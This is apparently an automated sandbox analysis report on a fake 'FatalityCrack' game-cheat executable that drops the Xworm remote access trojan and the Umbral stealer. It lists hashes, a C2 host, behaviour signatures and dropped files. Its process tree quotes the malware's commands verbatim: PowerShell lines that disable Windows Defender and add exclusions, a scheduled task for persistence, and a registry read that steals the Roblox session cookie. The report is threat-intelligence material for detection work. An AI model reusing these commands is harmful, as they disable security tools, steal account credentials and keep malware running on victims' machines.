Resubmissions

27-12-2024 17:46

241227-wcf2haxna1 10

26-12-2024 23:41

241226-3pykmsvnhx 10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-12-2024 17:46

General

  • Target

    3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54.exe

  • Size

    144KB

  • MD5

    9e092ddaae5a606aa7562aefa6d19193

  • SHA1

    f89629fc9325aa4e18563b9fb37d9b01e404e954

  • SHA256

    3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54

  • SHA512

    477a5cace00bb9fe1322f80f73b4f55da96ca8b43fbb735853568c406358ea47d68f575eadff34d878ba58d576129e6f007d661138e8d43bd703c201e7aee382

  • SSDEEP

    3072:ICjy4wEgSRZg6tYJbpVOfraR+wS8WurzkMXEe99:nwhmOCYJb/EraRVS8l59

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:46732

listing-repository.gl.at.ply.gg:46732

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    svchost.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54.exe
    "C:\Users\Admin\AppData\Local\Temp\3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe
      "C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1732
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1268
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'FatalityCrack.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4508
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3096
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3288
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4988
    • C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe
      "C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:384
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3696
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe"
        3⤵
        • Views/modifies file attributes
        PID:2588
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2064
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3224
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1008
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3428
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1904
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:816
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:5060
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3500
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1072
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:2184
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:944
      • C:\Users\Admin\svchost.exe
        C:\Users\Admin\svchost.exe
        1⤵
        • Executes dropped EXE
        PID:4768
      • C:\Users\Admin\svchost.exe
        C:\Users\Admin\svchost.exe
        1⤵
        • Executes dropped EXE
        PID:3592
      • C:\Users\Admin\svchost.exe
        C:\Users\Admin\svchost.exe
        1⤵
        • Executes dropped EXE
        PID:4292

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

        Filesize

        654B

        MD5

        2ff39f6c7249774be85fd60a8f9a245e

        SHA1

        684ff36b31aedc1e587c8496c02722c6698c1c4e

        SHA256

        e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

        SHA512

        1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        293d6476aba0f09116191d756d36e4b3

        SHA1

        3045c830b2d713e3a7d791b9a6480f7464005fd2

        SHA256

        29e0f107e76fc3a4131a828e7b5b6544643c329a84f33736000b6e5b36df2ae5

        SHA512

        7723110995ea25b602fd0a2ca67463309ee8aa30204c3d81c17ed92449c1477680c2aaaaf38b0ce7db4799993a40213c06af32168cac48f52e1876a9da7f6c77

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        1ff7c767b41e57bd6662b9b45b7e4331

        SHA1

        e484ee08429d6403c5beb97582f2bc88567d2d45

        SHA256

        c37e94da3e67f9473d2f0f51725c4246eefdbd2c01b3603d1b218842afc05048

        SHA512

        310cdae4625b1c391eab4adc7e139da6da6cbc2f8eda386ec6aa23da7967fe3dad6792ccd4bed0a0a320c466363051927ff376487080f77b50bf325098651483

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        2e907f77659a6601fcc408274894da2e

        SHA1

        9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

        SHA256

        385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

        SHA512

        34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        800b177dc8e90422f2d2b13672e3ab07

        SHA1

        1ecd97cc3aec28e977e8155f2356908b184f3146

        SHA256

        24018c11408969d7b64c65a3b80cd4df17533d052b7557478006ea65ff497e6e

        SHA512

        5d59c7357b0ce9b1ee7e339a4f370bf84640c2f1ed050b767f0f1e380f2a432dd375b801ee56dbd5c480738e77e0701606d1e8e338f33b1d8655c31bed8a0638

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        22310ad6749d8cc38284aa616efcd100

        SHA1

        440ef4a0a53bfa7c83fe84326a1dff4326dcb515

        SHA256

        55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

        SHA512

        2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

      • C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe

        Filesize

        68KB

        MD5

        39e5154434df5aa11e9f0c65cd4f144f

        SHA1

        834ec83adc2234cbcd70efbb983891cc72259ddd

        SHA256

        3c2fdf6082ef589e943918ff25b7fe96e2e741464711dabab2d31a33e4b1e255

        SHA512

        f5c579a374b0898fdc6b4be7aeea110a18d1138a2d8ab4e9595f341e8258c5a35cd018048dc90ebb640f2ddd5d2be3b26f1caceb92a17124ce0c69719340db0f

      • C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe

        Filesize

        231KB

        MD5

        ae57a759dd91e36e11de032c61698600

        SHA1

        f96c5f318f439fabc012f1746a564c383fa41878

        SHA256

        f1ea81371987e6e74a79f623bcc16262efd6151a352d491ba668c706df8d3456

        SHA512

        26112e2bdb0884f6e781ba6e1e8e871aaecfbdc9ee80f156aacc6622c32b1c2069e66311f8ca458e34454c787f05ed463a2548d7a7bc05735d1a6f5bb524d295

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zl4n1wrn.k5q.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/384-154-0x0000013B78430000-0x0000013B78442000-memory.dmp

        Filesize

        72KB

      • memory/384-94-0x0000013B76AF0000-0x0000013B76B0E000-memory.dmp

        Filesize

        120KB

      • memory/384-43-0x0000013B74E60000-0x0000013B74EA0000-memory.dmp

        Filesize

        256KB

      • memory/384-153-0x0000013B76B40000-0x0000013B76B4A000-memory.dmp

        Filesize

        40KB

      • memory/384-90-0x0000013B77590000-0x0000013B77606000-memory.dmp

        Filesize

        472KB

      • memory/384-93-0x0000013B77610000-0x0000013B77660000-memory.dmp

        Filesize

        320KB

      • memory/1624-44-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

        Filesize

        10.8MB

      • memory/1624-0-0x00007FF95A713000-0x00007FF95A715000-memory.dmp

        Filesize

        8KB

      • memory/1624-3-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

        Filesize

        10.8MB

      • memory/1624-1-0x0000000000040000-0x000000000006A000-memory.dmp

        Filesize

        168KB

      • memory/1732-45-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

        Filesize

        10.8MB

      • memory/1732-14-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

        Filesize

        10.8MB

      • memory/1732-174-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

        Filesize

        10.8MB

      • memory/1732-179-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

        Filesize

        10.8MB

      • memory/1732-15-0x0000000000F90000-0x0000000000FA8000-memory.dmp

        Filesize

        96KB

      • memory/4988-30-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4988-23-0x0000023A54370000-0x0000023A54392000-memory.dmp

        Filesize

        136KB

      • memory/4988-17-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4988-16-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

        Filesize

        10.8MB